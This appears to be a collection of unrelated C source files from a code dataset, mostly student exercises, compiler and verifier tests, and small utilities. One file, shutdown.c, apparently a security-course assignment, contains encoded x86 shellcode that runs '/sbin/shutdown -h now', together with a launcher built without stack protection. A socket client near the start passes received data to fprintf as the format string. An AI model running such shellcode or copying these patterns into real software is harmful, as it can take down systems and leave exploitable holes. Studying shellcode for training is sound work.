= INADDR_ANY; sAddr.sin_port = 0; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bind(sock, (const struct sockaddr *) &sAddr, sizeof(sAddr)); sAddr.sin_addr.s_addr = inet_addr(server); sAddr.sin_port = htons(port); if (connect(sock, (const struct sockaddr *) &sAddr, sizeof(sAddr)) != 0) { perror("client"); return; } snprintf(buffer, 128, "%i.", childnum); printf("child #%i sent\n", childnum); send(sock, buffer, strlen(buffer), 0); sleep(1); recv(sock, buffer, 25, 0); printf("child #%i received \"%s\"\n", childnum, buffer); FILE *fp; char filename[32]; snprintf(filename, sizeof(char) * 32, "child%i", childnum); fp = fopen(filename, "w+"); fprintf(fp, buffer); fclose(fp); sleep(1); close(sock); }
the_stack_data/901295.c
#include <stdlib.h> #include <stdio.h> int main() { long long int res; char * input_chain; char * remaining_chain; input_chain = " 3 ; and this is the remainder.\n"; res = strtoll(input_chain, &remaining_chain, 0); printf("my integer is :%lld\n", res); printf("and my remaining chain : %s", remaining_chain); return 0; }
the_stack_data/831762.c
void main() { char *p; { int i; __CPROVER_assume(p == &i); } *p; }
the_stack_data/92327454.c
#ifndef __STDC_LIMIT_MACROS #define __STDC_LIMIT_MACROS 1 #endif #include <inttypes.h> extern int printf(const char *, ...); void testL(int64_t Arg) { printf("%ld\n", (long) (Arg / ((int64_t)1 << 4))); printf("%ld\n", (long) (Arg / ((int64_t)1 << 46))); } void test(long Arg) { printf("%ld\n", Arg / (1L << 0)); printf("%ld\n", Arg / (1L << 4)); printf("%ld\n", Arg / (1L << 18)); printf("%ld\n", Arg / (1L << 30)); } int main() { long B20 = - (1L << 20); int64_t B53 = - ((int64_t)1 << 53); test(B20 + 32); test(B20 + 33); testL(B53 + 64); testL(B53 + 65); return 0; }
the_stack_data/1095592.c
/// 3.7. Să se scrie un program care citeşte un număr real x, ce reprezintă măsura unui unghi în radiani, şi îl transformă în grade, minute şi secunde sexagesimale. #include <stdio.h> #include <stdlib.h> #define M_PI 3.14159265 #include <math.h> int main() { double r, grade, minute, secunde; printf("Introduceti gradele: "); scanf("%lf", &r); grade=r*(180/M_PI); minute=(grade-(int)grade)*60.0; secunde=(minute-(int)minute)*60.0; printf("%.2lf grade, %.2lf minute, %.2lf secunde", grade, minute, secunde); return 0; }
the_stack_data/73574516.c
#include <stdio.h> int main () { //Number of rows int i; //Number of columns int j; //Enter the number of rows int rows; printf("Enter the number of rows to be printed: "); //Input is entered scanf("%d", &rows); for (i = 1; i <= rows; i++) { for (j = 1; j <= i; j++) { printf("%c", 64 + i); } printf("\n"); } }
the_stack_data/90762128.c
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <openssl/evp.h> #include <stdint.h> typedef unsigned char uchar; static void die(const char *msg); static void read_hex(const char *hex, uchar *out, size_t outmax, size_t *outlen); static void build_iv(uchar *iv, uint64_t seq); const int gcm_ivlen = 12; const int gcm_taglen = 16; const int aes_keylen = 32; // aes-256 int main(int argc, char **argv) { if (argc != 6) { fprintf(stderr, "Usage: %s hexiv seq hexkey hexaad hextag\n", argv[0]); fprintf(stderr, "\n"); fprintf(stderr, "Reads ciphertext on stdin and prints plaintext on stdout\n"); exit(1); } uchar iv[1024], key[1024], aad[1024], tag[1024]; size_t ivlen, keylen, aadlen, taglen; read_hex(argv[1], iv, sizeof(iv), &ivlen); read_hex(argv[3], key, sizeof(key), &keylen); read_hex(argv[4], aad, sizeof(aad), &aadlen); read_hex(argv[5], tag, sizeof(tag), &taglen); uint64_t seq = atoi(argv[2]); if (keylen != aes_keylen) die("Incorrect key length, expected 32 bytes"); if (ivlen != gcm_ivlen) die("Incorrect IV length, expected 12 bytes"); if (taglen != gcm_taglen) die("Incorrect IV length, expected 16 bytes"); build_iv(iv, seq); EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); if (!ctx) die("cipher ctx create failed"); if (!EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL)) die("init algorithm failed"); if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, ivlen, NULL)) die("set ivlen failed"); if (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) die("set key/iv failed"); int len = 0; if (!EVP_DecryptUpdate(ctx, NULL, &len, aad, aadlen)) die("set aad failed"); uchar bufin[1024], bufout[1024]; char *out = NULL; int outlen = 0; while (!feof(stdin)) { size_t num = fread(bufin, 1, sizeof(bufin), stdin); if (!EVP_DecryptUpdate(ctx, bufout, &len, bufin, num)) die("decrypt failed"); out = realloc(out, outlen + len); memcpy(out + outlen, bufout, len); outlen += len; } if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, taglen, tag)) die("set expected tag failed"); // positive is success int final = EVP_DecryptFinal_ex(ctx, bufout, &len); out = realloc(out, outlen + len); memcpy(out + outlen, bufout, len); outlen += len; EVP_CIPHER_CTX_free(ctx); if (final > 0) { fwrite(out, 1, outlen, stdout); free(out); } else { free(out); die("decrypt failed; tag value didn't match"); } } static void die(const char *msg) { fprintf(stderr, "%s\n", msg); exit(1); } static void read_hex(const char *hex, uchar *out, size_t outmax, size_t *outlen) { *outlen = 0; if (strlen(hex) > 2*outmax) die("read_hex overflow"); size_t i; for (i = 0; hex[i] && hex[i+1]; i += 2) { unsigned int value = 0; if (!sscanf(hex + i, "%02x", &value)) die("sscanf failure"); out[(*outlen)++] = value; } } static void build_iv(uchar *iv, uint64_t seq) { size_t i; for (i = 0; i < 8; i++) { iv[gcm_ivlen-1-i] ^= ((seq>>(i*8))&0xFF); } }
the_stack_data/102370.c
#include <math.h> long lrintf (float x) { long retval; __asm__ __volatile__ \ ("fistpl %0" : "=m" (retval) : "t" (x) : "st"); \ return retval; }
the_stack_data/162643436.c
/* Lista de Exercicios 01 URI Exercicio 05 Aluno: Murilo Carvalho */ #include <stdio.h> int main(){ int velocidade = 0; int tempo = 0; double gasto = 0.0; scanf("%d",&tempo); scanf("%d",&velocidade); gasto = (tempo*velocidade) / 12.0; printf("%.3lf\n", gasto); return 0; }
the_stack_data/51700082.c
#include <stdio.h> #include <sys/uio.h> #define WASM_EXPORT __attribute__((visibility("default"))) WASM_EXPORT int main() { printf("Hello World\n"); } /* External function that is implemented in JavaScript. */ extern void putc_js(char c); /* Basic implementation of the writev sys call. */ WASM_EXPORT size_t writev_c(int fd, const struct iovec *iov, int iovcnt) { size_t cnt = 0; for (int i = 0; i < iovcnt; i++) { for (int j = 0; j < iov[i].iov_len; j++) { putc_js(((char *)iov[i].iov_base)[j]); } cnt += iov[i].iov_len; } return cnt; }
the_stack_data/125436.c
void ft_putcount_to_ptr(int *ptr, int cur_count) { *ptr = cur_count; } void ft_putcount_to_hptr(short int *ptr, int cur_count) { *ptr = (short int)cur_count; } void ft_putcount_to_hhptr(signed char *ptr, int cur_count) { *ptr = (signed char)cur_count; } void ft_putcount_to_lptr(long int *ptr, int cur_count) { *ptr = (long int)cur_count; } void ft_putcount_to_llptr(long long *ptr, int cur_count) { *ptr = (long long)cur_count; }
the_stack_data/37638156.c
#include <stdio.h> int power(int m, int n); /* test power function */ int main() { int i; for (i = 0; i < 10; ++i) printf("%d %d %d\n", i, power(2, i), power(-3, i)); return 0; } /* power raise base to n-th power; n >= 0; version 2 */ int power(int base, int n) { int p; for (p = 1; n > 0; --n) p = p * base; return p; }
the_stack_data/47696.c
#include <stdio.h> static struct sss{ char * f; struct {int m;} snd; } sss; #define _offsetof(st,f) ((char *)&((st *) 16)->f - (char *) 16) int main (void) { printf ("+++Struct int inside struct starting with pointer:\n"); printf ("size=%d,align=%d\n", sizeof (sss), __alignof__ (sss)); printf ("offset-pointer=%d,offset-sss-int=%d,\nalign-pointer=%d,align-sss-int=%d\n", _offsetof (struct sss, f), _offsetof (struct sss, snd), __alignof__ (sss.f), __alignof__ (sss.snd)); return 0; }
the_stack_data/126702273.c
/* * Copyright 2017 Pantacor Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */
the_stack_data/9514022.c
/* * pipedemo2.c: demostrates how pipe is duplicated in fork() * * action: Parent continues to write and read pipe but child also writes to * the pipe */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define CHILD_MSG "Child: I wanna cookie\n" #define PAR_MSG "Parent: testing...\n" #define oops(m, x) { perror(m); exit(x);} int main() { int pipe_fd[2] = {-1, -1}; // the pipe int len = 0; // for write char buf[100] = {'\0'}; // for read int read_len = 0; if (-1 == pipe(pipe_fd)) { oops("can not get a pipe", 1); } switch (fork()) { case -1: // error oops("cannot fork", 2); break; case 0:// in the child len = strlen(CHILD_MSG); while(1) { if (write(pipe_fd[1], CHILD_MSG, len) != len) { oops("write", 3); } sleep(5); } break; default:// in the parent len = strlen(PAR_MSG); while(1) { if(write(pipe_fd[1], PAR_MSG, len) != len) { oops("write", 4); } sleep(1); read_len = read(pipe_fd[0], buf, 100); printf("read_len: %d\n", read_len); if (read_len < 0) { exit(1); } else if (read_len == 0) { break; } write(1, buf, read_len); } } return 0; }
the_stack_data/92325907.c
#include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <string.h> #include <math.h> #define PATH "notasR.txt" int main(void) { char ParsedLine[0xFF]; char **CacheParsed; FILE *fr = fopen(PATH,"r"); if (fr == NULL) { puts("Arquivo não encontrado."); return 1; } int elementos = 0; int ParseActive = 1, iter = 0, slen = 0; CacheParsed = malloc(1 * sizeof(char*)); while (ParseActive) { char cbuffer = fgetc(fr); if (cbuffer == EOF) { ParseActive = 0; } if (isalnum(cbuffer) || cbuffer == '.' || cbuffer == '-') { // Whitelist ParsedLine[iter++] = cbuffer; } else { if ((slen = strlen(ParsedLine)) != 0) { #ifdef DEBUG #endif CacheParsed = realloc(CacheParsed, elementos * sizeof(char*) + 1); CacheParsed[elementos] = malloc(slen * sizeof(char) + 1); strcpy(CacheParsed[elementos], ParsedLine); iter = 0; memset(ParsedLine, 0, sizeof(ParsedLine)); #ifdef DEBUG printf("len %d | %s\n", slen, CacheParsed[elementos]); #endif elementos++; } } } fclose(fr); #ifndef DEBUG for (int i=0; i<elementos;i = i + 2) { double num = atof(CacheParsed[i+1]); if (num >= 5) { printf("%s %s\n", CacheParsed[i], CacheParsed[i+1]); } } #endif return 0; }
the_stack_data/211080048.c
#include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define min(x, y) x < y ?x : y typedef struct E { int c, t; struct E *n, *p; } E; int n, m, i, j, s, c, d[262], f, af, q[262], h, t; E *g[262], *u, *v, *l[262]; void add(int f, int t, int c) { u = malloc(sizeof(E)); u->c = c; u->t = t; u->n = g[f]; g[f] = u; v = malloc(sizeof(E)); v->c = 0; v->t = f; v->n = g[t]; g[t] = v; u->p = v; v->p = u; } int bfs() { memset(d + 1, 0, sizeof(int) * (n - 1)); h = 0; t = 1; while (t > h) { c = q[h++]; for (u = g[c]; u; u = u->n) if (!d[u->t] && u->c) { d[u->t] = d[c] + 1; q[t++] = u->t; } } return d[1]; } int dfs(int c, int f) { if (c == 1) return f; int nf = 0, af; for (E *t = l[c]; t; l[c] = t = t->n) { if (d[t->t] != d[c] + 1 || !t->c) continue; if ((af = dfs(t->t, min(f, t->c)))) { t->c -= af; t->p->c += af; nf += af; f -= af; if (!f) break; } } return nf; } int main() { scanf("%d%d", &n, &m); n += 2; for (i = 2; i != n; ++i) { scanf("%d", &c); s += c; add(i, 1, c); } for (; i != n + m; ++i) { scanf("%d", &c); add(0, i, c); } for (i = 2; i != n; ++i) { scanf("%d", &c); while (c--) { scanf("%d", &j); add(j + n, i, INT_MAX); } } n += m; d[0] = 1; while (bfs()) { for (i = 0; i != n; ++i) l[i] = g[i]; while ((af = dfs(0, INT_MAX))) f += af; } printf("%d", s - f); return 0; }
the_stack_data/145453848.c
/* * a long line comment a long line comment a long line comment a long line comment a long line comment a long line comment a long line comment * a long line comment a long line comment a long line comment a long line comment a long line comment a long line comment a long line comment */ // line comment // // // line comment void main () { return; // line comment }
the_stack_data/162641965.c
/*Exercise 3 - Repetition Write a C program to calculate the sum of the numbers from 1 to n. Where n is a keyboard input. e.g. n -> 100 sum = 1+2+3+....+ 99+100 = 5050 n -> 1- sum = 1+2+3+...+10 = 55 */ #include <stdio.h> int main() { int n,i=1,sum=0; printf("enter the no:"); scanf("%d",&n); while(i<=n) { sum+=i; i++; } printf("sum:%d",sum); return 0; }
the_stack_data/80496.c
#include <pthread.h> #include <stdio.h> #include <stdlib.h> int send; typedef struct { pthread_t *pre, *start; int no; } thread_args, *thread_args_ptr; void *thread_func(void *); int main(int argc, char *argv[]) { // 参数判断 if (argc < 2) { printf("too few arguments\nusage: ./ring.run n\n"); return 0; } // 输入参数 int n; sscanf(argv[1], "%d", &n); if (n <= 1) { printf("the n is too small\n"); return 0; } // 创建线程 pthread_t *thread_array = (pthread_t *) malloc(sizeof(pthread_t) * n); thread_args_ptr thread_args_array = (thread_args_ptr) malloc(sizeof(thread_args) * n); for (int i = 1; i < n; i++) { thread_args_array[i].pre = &thread_array[i - 1]; thread_args_array[i].start = &thread_array[0]; thread_args_array[i].no = i; } thread_args_array[0].pre = &thread_array[n - 1]; thread_args_array[0].start = &thread_array[0]; thread_args_array[0].no = 0; for (int i = 0; i < n; i++) pthread_create(&thread_array[i], NULL, &thread_func, (void *) &thread_args_array[i]); pthread_join(thread_array[n - 1], NULL); return 0; } void *thread_func(void *args) { thread_args_ptr temp = (thread_args_ptr) args; // 如果是第一个线程 if (temp->no == 0) { send = 1; printf("thread %d send: %d\n", temp->no + 1, send); // 如果不是第一个线程 } else { pthread_join(*temp->pre, NULL); printf("thread %d recv: %d\n", temp->no + 1, send); send += 1; printf("thread %d send: %d\n", temp->no + 1, send); } return NULL; }
the_stack_data/127965.c
#include <stdio.h> #include <string.h> #include <malloc.h> #define MAX_STR 2000002 #define MAX_APPS 1001 int main() { char *pattern = malloc(MAX_STR); char *str = malloc(MAX_STR); FILE *pFileIn = fopen("strmatch.in", "r"); FILE *pFileOut = fopen("strmatch.out", "w"); fgets(pattern, MAX_STR, pFileIn); fgets(str, MAX_STR, pFileIn); int lenStr = strlen(str) - 1; int lenPatt = strlen(pattern) - 1; if (lenPatt > lenStr) { fprintf(pFileOut, "0\n"); goto return_label; } int *map = malloc(lenPatt * sizeof(*map)); int *apps = malloc(MAX_APPS * sizeof(*apps)); int i = 1, j = 0, numApp = 0; build_prefArray: if (i == lenPatt) { goto make_KMP; } back_prefArray: if (pattern[i] != pattern[j] && j) { j = map[j - 1]; goto back_prefArray; } if (pattern[i] == pattern[j]) { ++j; } map[i] = j; ++i; goto build_prefArray; make_KMP: i = 0; j = 0; KMP_search: if (i == lenStr) { goto print_matches; } back_on_array: if (pattern[j] != str[i] && j) { j = map[j - 1]; goto back_on_array; } if (str[i] == pattern[j]) { ++j; } if (j == lenPatt) { apps[numApp++] = i - lenPatt + 1; j = map[j - 1]; } ++i; goto KMP_search; print_matches: fprintf(pFileOut, "%d\n", numApp); i = 0; print_apps: if (i < numApp) { fprintf(pFileOut, "%d ", apps[i]); ++i; goto print_apps; } fprintf(pFileOut, "\n"); free(map); free(apps); return_label: free(pattern); free(str); fclose(pFileIn); fclose(pFileOut); return 0; }
the_stack_data/187643039.c
/*Exercise 2 - Selection Write a program to calculate the amount to be paid for a rented vehicle. • Input the distance the van has travelled • The first 30 km is at a rate of 50/= per km. • The remaining distance is calculated at the rate of 40/= per km. e.g. Distance -> 20 Amount = 20 x 50 = 1000 Distance -> 50 Amount = 30 x 50 + (50-30) x 40 = 2300*/ #include <stdio.h> int main() { int distance; float amount; printf("Enter the distance in km :"); scanf("%d",&distance); if (distance>0 && distance<=30) { amount=distance*50; } else { amount=30*50+(distance-30)*40; } printf("Amount to paid for a rented vehicle is %.2f",amount); return 0; }
the_stack_data/61258.c
#include<stdio.h> int main() { int i,t,v,a,b; scanf("%d" , &t); for (i=1; i<=t; i++) { scanf("%d" , &v); if (v>=10) { printf("%d %d\n" , 10, (v-10) ); } else { printf("%d 0\n" , v); } } }
the_stack_data/168894358.c
// This file is part of CPAchecker, // a tool for configurable software verification: // https://cpachecker.sosy-lab.org // // SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org> // // SPDX-License-Identifier: Apache-2.0 int u1; int u2 = 0, i1 = 0, u3 = 0; int c = 5; int *u4; int func(int y, int z) { int x; x = f2(x); return x + y + z; } int f2(int a) { return a; } void array(int e[]) { int *d; d[0] = 3; e[0] = 3; d[e[0]] = 3; } int main() { array(u4); int u5 = u1, i2 = i1, u6 = u6, u7; if (u1 == 0) { u7 = f2(0); } u1 += 5; u1 += u1; u1++; *u4 = 0; u2 = func(u1, u2); u2 = func(5, c); u3 = *u4; func(u2, u2); }
the_stack_data/122014494.c
// Sprawdza, że przy fork() kudosy są odpowiednio podzielone. // A tworzy B i C -> C daje B kudosy -> B tworzy D -> C sprawdza liczbę kudosów // B -> B tworzy E -> E sprawdza liczbę kudosów B #include <unistd.h> #include <stdio.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <string.h> #include "check.h" int main() { pid_t pid, pid1; int r; switch (pid = fork()) { case -1: assert(0); case 0: // B usleep(100000); switch (pid1 = fork()) { case -1: assert(0); case 0: // D sleep(1); break; default: // B usleep(500000); switch (fork()) { case -1: assert(0); case 0: // E assert(give_kudos_to_determine_kudos(pid1) == 7); break; default: // B for (int i = 0; i < 2; ++i) { if (wait(0) == -1) assert(0); } } break; } break; default: // A switch (fork()) { case -1: assert(0); case 0: // C for (int i = 0; i < 14; ++i) { r = givekudos(pid); assert(r >= 0); } assert(givekudos(pid) == 2); // 15 kudos usleep(200000); assert(give_kudos_to_determine_kudos(pid) == 8); break; default: // A for (int i = 0; i < 2; ++i) { if (wait(0) == -1) assert(0); } break; } break; } return 0; }
the_stack_data/154831104.c
// Student ID : SLAE-1250 // Student Name : Jonathan "Chops" Crosby // Assignment 6.3 : Shell Code Test File // File Name : shutdown.c #include<stdio.h> #include<string.h> //compile with: gcc shutdown.c -o shutdown -fno-stack-protector -z execstack unsigned char code[] = \ "\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
the_stack_data/678226.c
/* PR target/45870 */ /* { dg-do compile } */ /* { dg-options "-g -O" } */ /* { dg-require-effective-target tls } */ __thread int v[30]; int bar (void); int foo (int x, int y, int z) { int a, b = z, c; while (b > 0) { c = (bar () % 3); a = v[x]; if (x < y) for (;;); b += a; } }